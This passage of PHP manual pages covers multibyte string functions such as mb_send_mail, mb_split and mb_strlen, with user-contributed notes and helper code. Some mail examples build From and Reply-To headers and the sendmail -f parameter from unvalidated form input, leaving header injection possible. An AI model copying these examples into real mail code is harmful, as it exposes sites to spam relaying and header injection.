Constants above are from Oniguruma regexp library, which is used internally. Default value for PHP 5.2.x is 'pr'.


Send encoded mail

  • « mb_regex_set_options
  • mb_split »
  • PHP Manual
  • Multibyte String Functions
  • Send encoded mail

mb_send_mail

(PHP 4 >= 4.0.6, PHP 5)

mb_send_mail — Send encoded mail

Description

bool mb_send_mail ( string $to , string $subject , string $message [, string $additional_headers = NULL [, string $additional_parameter = NULL ]] )

Sends email. Headers and messages are converted and encoded according to the mb_language() setting. It's a wrapper function for mail(), so see also mail() for details.

Parameters

to

The mail addresses being sent to. Multiple recipients may be specified by putting a comma between each address in to. This parameter is not automatically encoded.

subject

The subject of the mail.

message

The message of the mail.

additional_headers (optional)

String to be inserted at the end of the email header.

This is typically used to add extra headers (From, Cc, and Bcc). Multiple extra headers should be separated with a CRLF (\r\n). Validate parameter not to be injected unwanted headers by attackers.

Note:

When sending mail, the mail must contain a From header. This can be set with the additional_headers parameter, or a default can be set in php.ini.

Failing to do this will result in an error message similar to Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing. The From header sets also Return-Path under Windows.

Note:

If messages are not received, try using a LF (\n) only. Some Unix mail transfer agents (most notably » qmail) replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with » RFC 2822.

additional_parameter

additional_parameter is a MTA command line parameter. It is useful when setting the correct Return-Path header when using sendmail.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add addtional parameters. For security reason, this parameter should be validated.

Since escapeshellcmd() is applied automatically, some characters that are allowed as email addresses by internet RFCs cannot be used. Programs that are required to use these characters mail() cannot be used.

The user that the webserver runs as should be added as a trusted user to the sendmail configuration to prevent a 'X-Warning' header from being added to the message when the envelope sender (-f) is set using this method. For sendmail users, this file is /etc/mail/trusted-users.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mail() - Send mail
  • mb_encode_mimeheader() - Encode string for MIME header
  • mb_language() - Set/Get current language

User Contributed Notes

contact-form at contactrobot dot com 04-Jan-2013 08:52
While using the right tags mentioned in other comments (mb_internal_encoding, Content-Type, etc) ...

mb_send_mail would properly encode special characters in plain text emails, for both subject and message

mb_send_mail would not properly encode special characters in subject for multi-part messages (text+html)
Anonymous 20-Jan-2010 12:20
If you have problem using mb_send_mail to send utf-8 mails, you have to know the following things (I've spent hours on the net before finding the correct php code) :

- You have to use the mb_encode_mimeheader function on the sender name and on the recipient name (on names, not on emails !).
- Subject and message are automatically encoded.
- Add - at least - the following header :

$headers = "Mime-Version: 1.0\n";
$headers .= "Content-Type: text/plain;charset=UTF-8\n";
$headers .= "From: $sender";

- Last but not least, beware of the internal encoding, which is needed by mb_encode_mimeheader function in order to encode properly. I had to set the internal encoding to UTF-8 in order to make it work properly :

mb_internal_encoding("UTF-8");
Sohel Taslim 19-Sep-2007 08:00
Easy and simple....
Send an email with Japanese contain.

<?php

/**
     * @name                    : sendMail
     * @author Taslim Mazumder Sohel
     * @mailsohel62@yahoo.com
     * Function for sending email
     *with Japanese Email Body, Subject, Sender Name.
     *
     * @param String $to               : Receiver mail address.
     * @param String $subject          : email subject.
     * @param int    $body            : mail body text.
     * @param array  $from_email    : Sender mail address.
     * @param array  $from_name      : Sender Name.
     *
     */
function sendMail($to, $subject, $body, $from_email,$from_name)
 {
$headers  = "MIME-Version: 1.0 \n" ;
$headers .= "From: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";
$headers .= "Reply-To: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";

$headers .= "Content-Type: text/plain;charset=ISO-2022-JP \n";

/* Convert body to same encoding as stated
in Content-Type header above */

$body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

/* Mail, optional paramiters. */
$sendmail_params  = "-f$from_email";

mb_language("ja");
$subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
$subject = mb_encode_mimeheader($subject);

$result = mail($to, $subject, $body, $headers, $sendmail_params);

return $result;
}

?>
noting@nowhere 19-Apr-2007 02:44
Yes, as far as I understood the function encodes the entrire message body with base64 and that's why it can be used to send messages with attachments.
30-Jan-2007 01:53
Be careful, mb_send_mail chokes if you try and send a multipart e-mail.
bredfern at calarts dot edu 23-Jun-2004 12:07
Make sure that if you're using a form to type in the mail, that your form page has the right encoding, like if I want to send out a japanese email, by filling out a form, the form page needs this in the header:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=SHIFT-JIS">
dynamis at skillup dot jp 30-Aug-2003 03:35
# self-fix...
I posted "encode_mimeheader" workaround on the day before. But I found that the code depends on platforms. :(

In some platforms, hedders(after the header splited into two or more lines) will appear in the body content.
The cause is that 'there are some platforms where the translation from \n to \r\n is apparently done for you'.
# See the post by "leon at ietsmet dot nl" about mail function (23-Apr-2003).

Now, all you have to do is just changing the glue string from "\r\n " to "\n ".

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}

should be below in some platform...

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\n ", $lines);
  // Though RFC 2047,822 say newline must be \r\n, not only \n,
  // in my platform, auto replacement will be done (accepts \n and \n\r\n -> \n\n)...
  return $str;
}

# notice: In both code, 1 space after newline is essential (gule str is *not* only "\r\n" nor "\n").
# This space is ignored only between encoded-words.

    c.f. about efficiency

Thinking about efficiency, my encode_mimeheader may have to determine where to split string into lines without mb_encode_mimeheader in the determining loop. But that loop will be repeated only one or a few times and this function  will be usually used against not so long string. So, this loss is not critical in most case.
If you use only one encoding, you can easily check ascii or multi-byte char one by one accoding to the definition of the encoding and determining splitting point (this is far faster), but when you have to handle all encoding that is not so easy. At least, I don't want to touch. :p
To accept *any* encoding (encoding name will be passed as argument), you can use this code. This is because I post non-efficient code like this.
# Though I'm not sure whether the code actually work well with all encoding...
dynamis at skillup dot jp 20-Jul-2003 01:50
As others say, mb_encode_mimeheader() seems to have a bug with JIS(ISO-2022-JP) encording. Token indicating start and end of multibyte char is inserted only before start of encoding and after the all.
We need the tokens at start and end of *all* encoded-text.
# PHP 4.3.2

So, we needs some workaround.

The post by "gordon at kanazawa-gu dot ac dot jp" seems to work well, but it doesn't. JIS nees some special tokens and base64_encode does'nt output them, so the code cannot used.

The post "RE: N03L in Japan", which simply splitting words in eash 10 chars is good enough in most case, there are some problem left. When there are some splited parts starting with ascii chars, 1 additional space will be inserted.
# RFC2047 only say within 76 words, shorter is not bad.

Additionally, thought it is really rare case, when we use "=?charset?" as literal string, we have to escape them.
# Some mailer can actually send this without escape and header will be broken. :(

Now, a little non-smart but maybe more accurate code is below function. I tested only with ISO-2022-JP, only in costomized phpBB2.0.5, only some cases.
As far as my test this code worked well, but I'm not sure.

# $str: source text
# $indent: ex. for "Subject: " header, give 9 and first line will be shorter than 76-1-9=66
# $encoding: source text encoding
# $mail_encoding: $str will be converted into this before base64 encode

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
  $start_delimiter = strtoupper("=?$mail_encoding?B?");
  $start_pattern   = strtoupper("=\\?$mail_encoding\\?B\\?");
  $end_delimiter   = '?=';

  $str = mb_convert_encoding($str, $mail_encoding, $encoding);
  $length  = mb_strlen($str, $mail_encoding);
  $max_part_length = 20; // enough short in most case (you can change this default value)

  for ($i=0, $index=0; $index<$length; $i++) {
    $part_length = $max_part_length;
    $s = mb_substr($str, $index, $part_length, $mail_encoding);
    // workaround for literally used start delimiter (without below, subject may break)
    // note: mb_encode_mimeheader() don't encode ascii including start delimiter
    if (preg_match('/^' . $start_pattern . '/i', $s))
    {
      $lines[$i] = $start_delimiter . base64_encode($start_delimiter) . "?=";
      $index += strlen($start_delimiter);
      continue;
    }

    $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    while (strlen($lines[$i]) > 76-1 - ($i?0:$indent)) { // max par line - first space - indent (first line only)
      $part_length = floor($part_length * (76-1 - ($i?0:$indent)) / strlen($lines[$i])); // at least 1 decrement
      $s = mb_substr($str, $index, $part_length, $mail_encoding);
      $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    }

    // workaround for starting new line with ascii (without below, 1 space may cut in)
    // note: mb_encode_mimeheader() starts encode after encounterring multibyte char
    if ($i > 0 && !preg_match('/^' . $start_pattern . '/i', $lines[$i]))
    {
      $p = strpos($lines[$i], $start_delimiter); //never 0 (false when not found)
      $p = $p ? $p : strlen($lines[$i]);
      $lines[$i] = $start_delimiter . base64_encode(substr($lines[$i], 0, $p)) . "?=";
      $part_length = $p;
    }
    $index += $part_length;
  }
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}
RE: N03L in Japan 22-May-2003 11:01
I have to use Japanese hankaku (single byte kana in (S)JIS) in mail subject and message,
so I tried the way that NO3L in Japan said, but I found there's a big problem.
In that way, mb_encode_mimeheader drop escape sequence from the head of encoded string from second line.
if you use long letter in subject, and if it includes multi byte string, It must crashed.
Therefore, if you want to use Japanese hankaku in mail subject, you might try like this.
Encoded subject letters in one line is not just 76 letters, so it is not based on RFC, but it work.

$intSubjectLength  = mb_strlen($strSubject);
$intSeparateLength = 10;
for ($i=0; $i<ceil($intSubjectLength / $intSeparateLength); $i++) {
    $arrSeparatedSubject[$i] = mb_substr($strSubject, $intIndex, $intSeparateLength);
    $arrSeparatedSubject[$i] = mb_encode_mimeheader(mb_convert_encoding($arrSeparatedSubject[$i], "JIS", "EUC-JP"));
    $intIndex = $intIndex + $intSeparateLength;
}
$strSubject = join("\n ", $arrSeparatedSubject);
Ran Hamada ( rhamada at sdcj dot co dot jp ) 08-Apr-2003 06:24
You may not use mb_encode_mimeheader() with mb_convert_encoding() to make subject as follows. It causes mojibake in several strings.
mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") )

Set mb_internal_encoding() to *subject's* encoding and call mb_encode_mimeheader.

Example)

    $__lang = mb_language();
    $__enc = mb_internal_encoding();
    mb_language("Japanese");
    mb_internal_encoding( mb_detect_encoding($subject) );
    #mb_internal_encoding( "EUC-JP" ); #just do when you know encoding of $subject
    mail($to,
        mb_encode_mimeheader($subject),
        mb_convert_encoding($msg,"JIS","AUTO"),$header);
    mb_internal_encoding( $__enc );
    mb_language($__lang);
phpguru at hotmail dot com 26-Feb-2003 08:29
There is another way of encoding Japanese language to send email without worrying about mb_functions:

Download PHP Jcode from http://www.spencernetwork.org/
and use JcodeConvert function with base64_encode function for the e-mail header and the subject.

$email_to = "blah@blah.com";

$_POST["name"] = strip_tags(trim($_POST["name"]));
$name = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["name"], 2, 3)). "?=";
$_POST["email"] = strip_tags(trim($_POST["email"]));
$_POST["subject"] = strip_tags(trim($_POST["subject"]));
$email_subject = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["subject"], 2, 3)). "?=";
$_POST["body"] = strip_tags(trim($_POST["body"]));

$email_header = "From: $name <". $_POST["email"] .">\n";
$email_header .= "Reply-To: ". $_POST["email"] ."\n";
$email_header .= "Content-transfer-encoding: 7bit\n";
$email_header .= "Content-type: text/plain; charset=\"iso-2022-jp\"\n\n";

$email_body = "blah blah blah.\n"

mail($email_to, $email_subject, $email_body, $email_header);
N03L in Japan 24-Feb-2003 06:29
First of all, don't use nl2br in newer php versions unless you WANT to write xhtml...you'll get <br /> tags.

Secondly, you should use JIS, not ISO-2022-JP as the convert TO encoding.  If you use ISO... mb_encode_mimeheader seems to fail. They're the same charset anyway.

Now here's why I am really writing.  I just discovered that mb_send_mail and mb_encode_mimeheader cannot support hankaku (single byte kana in (S)JIS) at all.  If you are making apps for the keitai (mobile) market, this won't do.  Therefore, undo your overloading on the mail function and use regular mail and convert everything yourself like this.  This is what we did.  It seems to work for us.  Your mileage may vary.

$strMBS = mb_convert_encoding($strMailBodySend, "JIS", "EUC-JP");

$strMS  = mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") );

mail($strToMail, $strMS, $strMBS, $strFrom);
jc AT mega-bucks DOT co DOT jp 05-Feb-2003 09:58
I was trying to send japanese email and had a hell of a time getting it to work. I finally stumbled across mb_send_mail() and it did everything I wanted *except* that it only send plain text emails ... sending HTML contents was impossible.

I finally whipped this up. I'm posting in case someone finds it useful.

function send_japanese_mail($to, $subject, $body, $from, $from_email, $is_html_content=false) {

   $headers  = "MIME-Version: 1.0\\n" ;
   $headers .= "From: $from <$from_email>\\n";
   $headers .= "Reply-To: $from <$from_email>\\n";

  /* If the body  is HTML or plain text set the Content-Type header accordingly */

   if ($is_html_content) {
     $headers .= "Content-Type: text/html;charset=ISO-2022-JP\\n";
     /* turn all line breaks into BR tags */
     $body = nl2br($body);
   }
     else {
     $headers .= "Content-Type: text/plain;charset=ISO-2022-JP\\n";
   }

  /* need to convert body to same encoding as stated in Content-Type header above */

  $body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

  /* set any sendmail params, optional ... */
  $sendmail_params  = "-f$from_email";

  /*
   The subject is actually a "header" and can/will get mangled
   if it contains non-ASCII characters. So we need to convert
   the subject to something containing only ASCII characters.

   First we convert the subject to the same encoding as the
   body, then we use mb_encode_mimeheader() to make the subject
   line all ASCII characters.
  */

   mb_language("ja");
   $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
   $subject = mb_encode_mimeheader($subject);

   mail($to, $subject, $body, $headers, $sendmail_params);
}
gordon at kanazawa-gu dot ac dot jp 29-Dec-2002 03:07
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text", $charset);
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
    $out_str = $in_str;
    if ($out_str && $charset) {

        // define start delimimter, end delimiter and spacer
        $end = "?=";
        $start = "=?" . $charset . "?B?";
        $spacer = $end . "\r\n " . $start;

        // determine length of encoded text within chunks
        // and ensure length is even
        $length = 75 - strlen($start) - strlen($end);
        $length = floor($length/2) * 2;

        // encode the string and split it into chunks
        // with spacers after each chunk
        $out_str = base64_encode($out_str);
        $out_str = chunk_split($out_str, $length, $spacer);

        // remove trailing spacer and
        // add start and end delimiters
        $spacer = preg_quote($spacer);
        $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
        $out_str = $start . $out_str . $end;
    }
    return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html
no dot email dot address at example dot com 15-Sep-2002 12:53
Tested with PHP 4.2.2 on Linux: Please note that if you're using Unicode (mb_language("uni")) and you attempt to send mail with mb_send_mail(), you will need to base64_encode() the message body - mb_send_mail() doesn't do that for you. It does, however, issue the correct message headers, so you don't need to worry about that.

Also note that neither mb_language() nor mb_send_mail() is able to convert your message to UTF-8. *You* need to provide the UTF-8-encoded (and base64-encoded) message, and then mb_send_mail() will issue the correct message headers.

Here's an example of sending an UTF-8-encoded message with mb_send_mail():

mb_language("uni");
$body = chunk_split(base64_encode("International characters"));
mb_send_mail("someone@example.com", "Subject", $body);

If the receiving mail client supports UTF-8 properly, you will be able to send messages that contain a mix of all kinds of characters (e.g., you could send Thai, Chinese, and Danish characters in the same message). Not all mail clients support UTF-8, though. At the time of writing, some of the more popular Windows email clients - Eudora and Pegasus Mail - don't. There are a number of email clients with working support for UTF-8. These include Outlook Express, KMail, Mozilla, Netscape 6/7, Sylpheed, Evolution and others.


Split multibyte string using regular expression

  • « mb_send_mail
  • mb_strcut »
  • PHP Manual
  • Multibyte String Functions
  • Split multibyte string using regular expression

mb_split

(PHP 4 >= 4.2.0, PHP 5)

mb_split — Split multibyte string using regular expression

Description

array mb_split ( string $pattern , string $string [, int $limit = -1 ] )

Split a multibyte string using regular expression pattern and returns the result as an array.

Parameters

pattern

The regular expression pattern.

string

The string being split.

limit
If optional parameter limit is specified, it will be split in limit elements as maximum.

Return Values

The result as an array.

Notes

Note:

The character encoding specified by mb_regex_encoding() will be used as the character encoding for this function by default.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

gunkan at terra dot es 06-Apr-2012 03:17
To split an string like this: "日、に、本、ほん、語、ご" using the "、" delimiter i used:

     $v = mb_split('、',"日、に、本、ほん、語、ご");

but didn't work.

The solution was to set this before:

       mb_regex_encoding('UTF-8');
      mb_internal_encoding("UTF-8");
     $v = mb_split('、',"日、に、本、ほん、語、ご");

and now it's working:

Array
(
    [0] => 日
    [1] => に
    [2] => 本
    [3] => ほん
    [4] => 語
    [5] => ご
)
boukeversteegh at gmail dot com 14-Apr-2011 10:23
The $pattern argument doesn't use /pattern/ delimiters, unlike other regex functions such as preg_match.

<?php
   # Works. No slashes around the /pattern/
   print_r( mb_split("\s", "hello world") );
   Array (
      [0] => hello
      [1] => world
   )

   # Doesn't work:
   print_r( mb_split("/\s/", "hello world") );
   Array (
      [0] => hello world
   )
?>
boukeversteegh at gmail dot com 10-Sep-2010 06:43
In addition to Sezer Yalcin's tip.

This function splits a multibyte string into an array of characters. Comparable to str_split().

<?php
function mb_str_split( $string ) {
    # Split at all position not after the start: ^
    # and not before the end: $
    return preg_split('/(?<!^)(?!$)/u', $string );
}

$string   = '火车票';
$charlist = mb_str_split( $string );

print_r( $charlist );
?>

# Prints:
Array
(
    [0] => 火
    [1] => 车
    [2] => 票
)
qdb at kukmara dot ru 25-Mar-2010 11:46
an other way to str_split multibyte string:
<?php
$s='әӘөүҗңһ';

//$temp_s=iconv('UTF-8','UTF-16',$s);
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_a_len=count($temp_a);
for($i=0;$i<$temp_a_len;$i++){
    //$temp_a[$i]=iconv('UTF-16','UTF-8',$temp_a[$i]);
    $temp_a[$i]=mb_convert_encoding($temp_a[$i],'UTF-8','UTF-16');
}

echo('<pre>');
print_r($temp_a);
echo('</pre>');

//also possible to directly use UTF-16:
define('SLS',mb_convert_encoding('/','UTF-16'));
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_s=implode(SLS,$temp_a);
$temp_s=mb_convert_encoding($temp_s,'UTF-8','UTF-16');
echo($temp_s);
?>
gert dot matern at web dot de 03-Aug-2009 12:34
We are talking about Multi Byte ( e.g. UTF-8) strings here, so preg_split will fail for the following string:

'Weiße Rosen sind nicht grün!'

And because I didn't find a regex to simulate a str_split I optimized the first solution from adjwilli a bit:

<?php
$string = 'Weiße Rosen sind nicht grün!'
$stop   = mb_strlen( $string);
$result = array();

for( $idx = 0; $idx < $stop; $idx++)
{
   $result[] = mb_substr( $string, $idx, 1);
}
?>

Here is an example with adjwilli's function:

<?php
mb_internal_encoding( 'UTF-8');
mb_regex_encoding( 'UTF-8');

function mbStringToArray
( $string
)
{
  $stop   = mb_strlen( $string);
  $result = array();

  for( $idx = 0; $idx < $stop; $idx++)
  {
     $result[] = mb_substr( $string, $idx, 1);
  }

  return $result;
}

echo '<pre>', PHP_EOL,
print_r( mbStringToArray( 'Weiße Rosen sind nicht grün!', true)), PHP_EOL,
'</pre>';
?>

Let me know [by personal email], if someone found a regex to simulate a str_split with mb_split.
adjwilli at yahoo dot com 26-Dec-2007 06:37
I figure most people will want a simple way to break-up a multibyte string into its individual characters. Here's a function I'm using to do that. Change UTF-8 to your chosen encoding method.

<?php
function mbStringToArray ($string) {
    $strlen = mb_strlen($string);
    while ($strlen) {
        $array[] = mb_substr($string,0,1,"UTF-8");
        $string = mb_substr($string,1,$strlen,"UTF-8");
        $strlen = mb_strlen($string);
    }
    return $array;
}
?>


Get part of string

  • « mb_split
  • mb_strimwidth »
  • PHP Manual
  • Multibyte String Functions
  • Get part of string

mb_strcut

(PHP 4 >= 4.0.6, PHP 5)

mb_strcut — Get part of string

Description

string mb_strcut ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )

mb_strcut() extracts a substring from a string similarly to mb_substr(), but operates on bytes instead of characters. If the cut position happens to be between two bytes of a multi-byte character, the cut is performed starting from the first byte of that character. This is also the difference to the substr() function, which would simply cut the string between the bytes and thus result in a malformed byte sequence.

Parameters

str

The string being cut.

start

Starting position in bytes.

length

Length in bytes. If omitted or NULL is passed, extract all bytes to the end of the string.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

mb_strcut() returns the portion of str specified by the start and length parameters.

See Also

  • mb_substr() - Get part of string
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

php_engineer_bk at yahoo dot com 08-Oct-2010 12:52
function cut_sense($matne_harf, $l_harf ,$return=1 ) {
if ( strlen($matne_harf) > $l_harf){
$end='...';
}else{
$end='';
}
    if ( function_exists('mb_strcut') ){
        $matne_harf = mb_strcut ( $matne_harf, 0 , $l_harf , "UTF-8" );
    }else{
        $matne_harf =substr($matne_harf, 0, $l_harf);
    }
$text=''.$matne_harf.''.$end.'';
  if ( $return == 1){
  return $text;
  }else{
  print $text;
  }
}

Iranian php programmer (farhad zand +989383015266)
t dot starling at physics dot unimelb dot edu dot au 27-Aug-2004 01:01
What the manual and the first commenter are trying to say is that mb_strcut uses byte offsets, as opposed to mb_substr which uses character offsets.

Both mb_strcut and mb_substr appear to treat negative and out-of-range offsets and lengths in the basically the same way as substr. An exception is that if start is too large, an empty string will be returned rather than FALSE. Testing indicates that mb_strcut first works out start and end byte offsets, then moves each offset left to the nearest character boundary.
oyag02 at yahoo dot co dot jp 26-Sep-2003 12:53
diffrence between mb_substr and mb_substr

example:
mb_strcut('I_ROHA', 1, 2) returns 'I_'. Treated as byte stream.
mb_substr('I_ROHA', 1, 2) returns 'ROHA' Treated as character stream.

# 'I_' 'RO' 'HA' means multi-byte character


Get truncated string with specified width

  • « mb_strcut
  • mb_stripos »
  • PHP Manual
  • Multibyte String Functions
  • Get truncated string with specified width

mb_strimwidth

(PHP 4 >= 4.0.6, PHP 5)

mb_strimwidth — Get truncated string with specified width

Description

string mb_strimwidth ( string $str , int $start , int $width [, string $trimmarker = "" [, string $encoding = mb_internal_encoding() ]] )

Truncates string str to specified width.

Parameters

str

The string being decoded.

start

The start position offset. Number of characters from the beginning of string. (First character is 0)

width

The width of the desired trim.

trimmarker

A string that is added to the end of string when string is truncated.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The truncated string. If trimmarker is set, trimmarker is appended to the return value.

Examples

Example #1 mb_strimwidth() example

<?php
echo mb_strimwidth("Hello World", 0, 10, "...");
// outputs Hello W...
?>

See Also

  • mb_strwidth() - Return width of string
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

Rich Mehta 22-May-2014 11:58
I had a problem (as in another comment) with a space being between the trailing dots and the subject being truncated. Here's how I fixed it:

<?php str_replace( " .", ".", mb_strimwidth( $subject, 0, 30, "..." ) ); ?>
CBieser 26-Aug-2008 09:50
<?php
function strimwidthCenter( $value, $length = 40 ) {
    $valueEncoding = mb_detect_encoding( $value, 'auto', true );
    if ( $length >= mb_strwidth( $value, $valueEncoding ) ) {
        return $value;
    }
    $limited = '';
    $firstWidth = ceil( $length/2 );
    $secondStart = mb_strwidth( $value, $valueEncoding ) - ( $length - $firstWidth );
    $secondWidth = $length - $firstWidth +1;
    $limited = mb_strimwidth( $value, 0, $firstWidth, '...', $valueEncoding ) . mb_substr( $value, $secondStart, $secondWidth, $valueEncoding );
    return $limited;
}
?>
josiah dot ritchie at gmail dot com 13-Sep-2007 08:48
While having the option to append a string to the end is nice, you can run into the problem of having a space between the append if the width is truncated after a space. I find something like this to be more attractive in the output, although messy in the code.

rtrim(mb_strimwidth($string, 0, 24))."..."


Finds position of first occurrence of a string within another, case insensitive

  • « mb_strimwidth
  • mb_stristr »
  • PHP Manual
  • Multibyte String Functions
  • Finds position of first occurrence of a string within another, case insensitive

mb_stripos

(PHP 5 >= 5.2.0)

mb_stripos — Finds position of first occurrence of a string within another, case insensitive

Description

int mb_stripos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )

mb_stripos() returns the numeric position of the first occurrence of needle in the haystack string. Unlike mb_strpos(), mb_stripos() is case-insensitive. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the position of the first occurrence of needle

needle

The string to find in haystack

offset

The position in haystack to start searching

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Return the numeric position of the first occurrence of needle in the haystack string, or FALSE if needle is not found.

See Also

  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strpos() - Find the position of the first occurrence of a substring in a string
  • mb_strpos() - Find position of first occurrence of string in a string

User Contributed Notes

gtso2009-lbc at NOSPAM dot yahoo dot fr 13-Sep-2013 12:22
If you are using a php version < 5.2.0 AND do not really need case insensitive performing, use mb_strpos instead.
mb_strpos is implemented for PHP 4 >= 4.0.6 and PHP 5


Finds first occurrence of a string within another, case insensitive

  • « mb_stripos
  • mb_strlen »
  • PHP Manual
  • Multibyte String Functions
  • Finds first occurrence of a string within another, case insensitive

mb_stristr

(PHP 5 >= 5.2.0)

mb_stristr — Finds first occurrence of a string within another, case insensitive

Description

string mb_stristr ( string $haystack , string $needle [, bool $before_needle = false [, string $encoding = mb_internal_encoding() ]] )

mb_stristr() finds the first occurrence of needle in haystack and returns the portion of haystack. Unlike mb_strstr(), mb_stristr() is case-insensitive. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the first occurrence of needle

needle

The string to find in haystack

before_needle

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the first occurrence of needle (excluding needle). If set to FALSE, it returns all of haystack from the first occurrence of needle to the end (including needle).

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack, or FALSE if needle is not found.

See Also

  • stristr() - Case-insensitive strstr
  • strstr() - Find the first occurrence of a string
  • mb_strstr() - Finds first occurrence of a string within another

User Contributed Notes

There are no user contributed notes for this page.


Get string length

  • « mb_stristr
  • mb_strpos »
  • PHP Manual
  • Multibyte String Functions
  • Get string length

mb_strlen

(PHP 4 >= 4.0.6, PHP 5)

mb_strlen — Get string length

Description

mixed mb_strlen ( string $str [, string $encoding = mb_internal_encoding() ] )

Gets the length of a string.

Parameters

str

The string being checked for length.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the number of characters in string str having character encoding encoding. A multi-byte character is counted as 1.

Returns FALSE if the given encoding is invalid.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • grapheme_strlen() - Get string length in grapheme units
  • iconv_strlen() - Returns the character count of string
  • strlen() - Get string length

User Contributed Notes

Yzmir Ramirez 15-Apr-2011 06:06
If you are unsure about what $encoding can be set to, here's a full list of all the encodings supported by this extension:

http://www.php.net/manual/en/mbstring.supported-encodings.php
Ben 19-Nov-2008 11:59
If you find yourself without the mb string functions and can't easily change it, a quick hack replacement for mb_strlen for utf8 characters is to use a a PCRE regex with utf8 turned on.

$strlen = preg_match_all("/.{1}/us",$utf8string,$dummy);

This is basically an ugly hack which counts all single character matches, and I'd expect it to be painfully slow on large strings.
drake127 12-Aug-2007 05:36
Speed of mb_strlen varies a lot according to specified character set.

If you need length of string in bytes (strlen cannot be trusted anymore because of mbstring.func_overload) you should use <?php mb_strlen($string, '8bit'); ?>.
It's the fastest way (still a way slower than strlen, though) to determine byte length of string. Other single byte character sets (ASCII, ISO-8859-1, ...) are several times slower than 8bit.
koala at example dot com 27-Jul-2007 09:19
Just did a little benchmarking (1.000.000 times with lorem ipsum text) on the mbs functions

especially mb_strtolower and mb_strtoupper are really slow (up to 100 times slower compared to normal functions). Other functions are alike-ish, but sometimes up to 5 times slower.

just be cautious when using mb_ functions in high frequented scripts.

# test runs: 1000000
# benchmarking strlen vs. mb_strlen
# normal strlen: 3.6795361042023 ms, average: 3.6795361042023E-6 ms
# mb_strlen: 5.5934538841248 ms, average: 5.5934538841248E-6 ms
ok 1 - mb_strlen is slower than strlen
# mb_strlen is 1.52 slower than strlen
#
#
# benchmarking strpos vs. mb_strpos
# normal strpos: 5.5523281097412 ms, average: 5.5523281097412E-6 ms
# mb_strlen: 31.180974960327 ms, average: 3.1180974960327E-5 ms
ok 2 - mb_strlen is slower than strlen
# mb_strpos is 5.62 slower than strpos
#
#
# benchmarking substr vs. mb_substr
# normal substr: 3.4437320232391 ms, average: 3.4437320232391E-6 ms
# mb_strlen: 3.5374181270599 ms, average: 3.5374181270599E-6 ms
ok 3 - mb_strlen is slower than strlen
# mb_substr is 1.03 slower than substr
#
#
# benchmarking strtolower vs. mb_strtolower
# normal strtolower: 4.446839094162 ms, average: 4.446839094162E-6 ms
# mb_strlen: 193.44901108742 ms, average: 0.00019344901108742 ms
ok 4 - mb_strlen is slower than strlen
# mb_strtolower is 43.5 slower than strtolower
#
#
# benchmarking strtoupper vs. mb_strtoupper
# normal strtoupper: 3.0210740566254 ms, average: 3.0210740566254E-6 ms
# mb_strlen: 340.71775603294 ms, average: 0.00034071775603294 ms
ok 5 - mb_strlen is slower than strlen
